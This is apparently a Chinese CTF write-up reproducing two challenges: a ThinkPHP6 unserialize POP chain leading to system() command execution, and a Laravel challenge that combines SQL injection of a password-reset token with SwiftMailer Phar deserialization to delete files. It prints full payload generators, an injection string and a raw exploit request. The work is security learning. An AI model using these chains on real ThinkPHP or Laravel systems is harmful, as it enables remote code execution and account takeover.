Background
继续备战
安洵杯iamthinking
前置小知识点绕过parse_url才能unserialize
只需要url///?payload=xxxxxxx即可
然后就是一个tp6的链子了,遗憾的是我tp链子根本没走过,跟着这个先走一遍吧,老方法:定位__destruct()->跟着函数走->找可控点->找魔术方法
谨记$this可不可控还要注意是否__wakeup设置初始化 lazySave=true
跟进save函数
关注这两个函数就需要满足上面的条件
setArrs就是个数组的赋值
跟进isEmpty
$this->$data可控 不为空即可
跟进$this->trigger
$this->withEvent为false即可
我们完成这些的配置可以成功进行调用
现在我们尝试调用updateData()
就要$this->exist为True
这里有个小知识点,就是函数那么多我优先看哪个,注意传参,我们注意到$data变量取了getchangeData的值
$data在$this->force值为true的时候我们可控
为了能够调用到checkAllowFields(),还是需要保证前面不直接return,所以$data不能为空
继续跟checkAllowFields()
跟进$this->field和$this->schema不为空
.拼接 变成对象就可以使用__toString方法了
继续跟toArray
很长的一段代码,但是利用点其实还在代码后面的getAttr处的。那么就跟进下
跟进发现回到Attribute.php
跟进getData->getRealFieldname
$this->strict为true,方法将返回一路从getAttr传过来的$name。然后方法继续,最后getData()返回$this->data['$fieldname']
为了使文章更清楚我再仔细说一下这个部分
getRealFieldName我们通过设置$this->strict为true $name回到getData,最终我们可以看到return的是数组的形式
getData来源是toArray调用的getAttr,而getAttr return的是getValue
这个后面是tp5.1的链子,这题的作者在这里很人性化的提示了后面链子的调动
至此我们就可以执行system(“ls”, [$name=>"ls"])了
system ( string command [, int &return_var ] ) : string参数
command要执行的命令。 return_var如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。
所以这个是非常合法的
最后链子
<?php
namespace think\model\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["T4rn" => "system"];
public function get()
{
$this->data = ["T4rn" => "cat /flag"];
}
}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $field;
protected $schema;
protected $table;
function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->table = true;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
function __construct($obj='')
{
//定义this->data不为空
parent::__construct();
$this->get();
$this->table = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
}
后记1
这题是魔改过的
原题的checkAllowFields
后记2
如果你仔细跟了一遍payload应该有自己的思考,tarit{}和为什么引入Pivot
Model类是抽象类,不能被实例化,那么可以找到该类的子类,其位于vendor/topthink/think-orm/src/model/Pivot.php;同样,trait类是复用类,也是不能被实例化的,可以找到复用它的类来实例化
[护网杯 2018]easy_laravel
到现在为止buu也只有30多人做出来,是个很难的题目,先自己一步一步跟一下,没跟成功再wp
去简单看下Laravel开发文档了解一下大致架构
比较有趣的点是larvavel的中间件功能,分析laravel时候一定要注意先查看下路由
首先找到他们写好的composer.json文件
composer install之后
使用php artisan route:list
可以直接定位flag路由去康康
可以看到showFlag函数直接读取了flag,并把它映射在视图上面
我直接访问了,显示登录界面
仔细看一下路由 发现用admin和guest之分,所以我们应该是要拿到admin的权限才可以get flag,auth很容易理解,应该就是个认证
我猜想这个是一个完整的业务流程
注册->登录-鉴权(admin->getflag)
然后就是每个业务点可能存在什么漏洞这么去看
在note controller里面发现有一个 和数据库交互的点,并且直接字符拼接
然后在database下文件发现加密方式
密码是被bcrypt加密的
只能进行对比没法解密的
作者在他的题解提到了token laravel5.4中,重置密码的操作很特殊
跟着重置密码的复用类可以看到token在view中展示 所以我们可以在这里注入、
前提是要生成token 通过找回密码的方法
在database文件里面找到我们需要注入的表名
注入到重置的token 我们就能修改密码
test'union select 1,token,3,4,5 from password_resets where email='admin@qvq.im';
因为用的是sqlite所以只能用;
flag模块并没有flag
因为在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views 中,而编译后的文件存在过期的判断
所以我们要删掉过期文件
在/bootstrap/cache/compiled.php可以看到编译信息
return $this->cachePath . '/' . sha1($path) . '.php';
buu是apache 还要算sha1值
app/Http/Controllers/UploadController.php上传位点
UploadRequest 中限制了文件必须为 image ,但是这个基本上是个摆设,很好绕过,可以看到文件是被上传到了 $this->path,也就是 storage/app/public
关键点来了file_get_contents filename和path我们都知道可控
考虑phar反序列化
找寻unlink删除函数,全局搜索
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
调用getPath函数
跟进之后发现
完全可控
public function getPath()
{
return $this->_path;
}
然后就是引入类 Phar反序列化
在check那里进行phar
<?php
include('autoload.php');
$a =new Swift_ByteStream_TemporaryFileByteStream();
echo(serialize($a));
$p = new Phar('flag.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($a);
$p->addFromString('test.txt','text');
$p->stopBuffering();
?>
include包含类,然后check那里输入参数,这里把我的post包给出来
POST /check HTTP/1.1
Host: f59bd61f-ece5-4ec8-b313-faec3c6ba5fb.node3.buuoj.cn
Content-Length: 99
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://f59bd61f-ece5-4ec8-b313-faec3c6ba5fb.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://f59bd61f-ece5-4ec8-b313-faec3c6ba5fb.node3.buuoj.cn/files
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=178a1378688358-044dfdbc4ef3a5-13114459-1aeaa0-178a1378689a06; XSRF-TOKEN=eyJpdiI6IjVrQ045MUQ2Y1pkV09FaDZYTlhzOVE9PSIsInZhbHVlIjoiOGNXOG95Q1M3SXp3a2I2MmxzNjlUdXhVOERsYjJydWNaUU9IcVNlV1VrV3BjaDBQdncyVU9wQnhrWGF2cXdkVmpKSHJTeUFLbW53cmFpS2VQTGsydmc9PSIsIm1hYyI6IjNmMDE2MjlhYzE5YzY5YWQwNWI4Y2NmZGUzZGU3ZDQ2NDE4M2I4ZjkzOWUzNTU4YjkxNDAwN2FiOTI4YzQ5MDIifQ%3D%3D; laravel_session=eyJpdiI6InNhUkhZenNveVNqc1BTUlJGQ1NOK2c9PSIsInZhbHVlIjoiazZEMmZXbHAyZFBaQk16TFVzbytRU0FnSlgrK3hjNGlqQ0NlZDZPSzZnOXN5Y3MzWm9pYXpCdXRFSTRJTjhiUFlEVHRvaDhCUzZldm9QSGRqS0tpK1E9PSIsIm1hYyI6ImZjN2Q5OTYzM2U4NTQ0ZmU0MzAwODY1N2IyZThjNzJlNmMyMTZhYmUzZTQ4ZmE1OWE2NmRjNGIxZDhhZDc0NzkifQ%3D%3D
Connection: close
filename=%2F1.gif&_token=frnA6bXbLFEZouZbq9AMzUGu0oXMgvHC9ZF7sVZy&path=phar://../storage/app/public
getflag
后记1
token要用自己的
类可以用include usenamespace这种引进
总结
一中午加半个下午结合wp,结合思考终于复现完了,出题思路真是值得学习,也是对框架非常熟悉,所以下一步我也打算用框架写点东西,开发为辅,主页还是安全研究